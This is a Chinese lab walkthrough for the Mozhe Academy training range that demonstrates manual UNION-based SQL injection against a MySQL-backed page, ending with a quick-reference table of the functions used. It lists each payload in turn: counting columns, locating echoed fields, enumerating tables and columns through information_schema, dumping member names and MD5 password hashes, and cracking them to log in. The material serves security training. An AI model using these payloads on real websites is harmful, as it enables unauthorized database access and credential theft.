墨者:SQL手工注入漏洞测试(MySQL数据库)

一、SQL手工注入漏洞测试(MySQL数据库)

本文以墨者学院靶场为例,演示MySQL数据库的手工SQL注入全过程。靶场以自己的地址为准:http://124.70.64.48:47777/new_list.php?id=1

二、注入原理与流程(如下指令去掉了id之前的内容)

MySQL手工注入主要通过闭合SQL语句、联合查询系统表来获取敏感信息。以下是完整的攻击流程:

1. 判断字段数

sql 复制代码
id=1 order by 5
  • 作用:确定SELECT查询返回的列数
  • 原理 :通过递增order by后的数字,当页面报错时说明超出实际字段数
  • 示例 :若order by 4正常但order by 5报错,说明有4个字段

2. 确定回显位置

sql 复制代码
id=-1 union select 1,2,3,4
  • 关键点
    • id=-1使原查询无结果
    • union select强制返回我们的数据
    • 页面显示的数字即为可回显的列位置
  • 输出 :假设页面显示23,则后续注入用这两个位置

3. 获取数据库信息

sql 复制代码
id=-1 union select 1,group_concat(database()),3,4
  • 函数说明
    • database():当前数据库名称
    • group_concat():多行结果合并为字符串
  • 典型返回mozhe_Discuz_StormGroup

4. 枚举数据表

sql 复制代码
id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
  • 系统表说明
    • information_schema.tables:存储所有表信息
    • table_schema:过滤指定数据库的表
  • 输出示例StormGroup_member,notice,...

5. 获取字段结构

sql 复制代码
id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
  • 系统表说明
    • information_schema.columns:存储列定义信息
    • table_name:指定目标表
  • 返回结果id,name,password,status,...

6. 提取账号密码

sql 复制代码
id=-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member
  • 实战技巧

    • 使用group_concat()合并所有记录
    • ,分隔不同字段(如admin,user1123456,qwerty
  • 数据示例

    复制代码
    用户名:mozhe,admin,...
    密码:5f4dcc3b5aa765d61d8327deb882cf99,098f6bcd4621d373cade4e832627b4f6,...

7. MD5解密后,手动登录,获取Key

MD5工具地址:https://www.cmd5.com/

三、关键指令速查表

指令/函数 作用 MySQL特性说明
order by N 判断字段数 报错法最可靠
union select 联合查询 前后列数必须相同
database() 当前数据库名 等价于schema()
group_concat() 行转字符串 默认逗号分隔
information_schema 元数据库 存储所有表/列定义
table_schema 过滤数据库 值需加引号
table_name 过滤表名 区分大小写
相关推荐
longerxin20202 小时前
MongoDB 在线安装-一键安装脚本(CentOS 7.9)
数据库·mongodb·centos
水无痕simon2 小时前
3 水平分表
java·数据库
恣艺2 小时前
探索数据库世界:从基础类型到实际应用
数据库
小钻风33663 小时前
IDEA连接redis数据库时出现Failed to connect to any host resolved for DNS name.
数据库
ulias2123 小时前
单元最短路问题
数据库·c++·算法·动态规划
安卓开发者3 小时前
鸿蒙NEXT中SQLite数据库全面实战指南
数据库·sqlite·harmonyos
xuejianxinokok3 小时前
PostgreSQL 18 新功能:虚拟生成列
数据库·后端
知其然亦知其所以然3 小时前
MySQL8.x 面试高频题:为什么一定要有主键?99%的人答不全
后端·mysql·面试
DemonAvenger4 小时前
MySQL索引失效全解析:从分析到优化,10年经验实战分享
数据库·mysql·性能优化
咖啡Beans4 小时前
踩坑无数!MySQL UNION和ORDER BY混用的血泪教训,看完不再翻车
数据库·mysql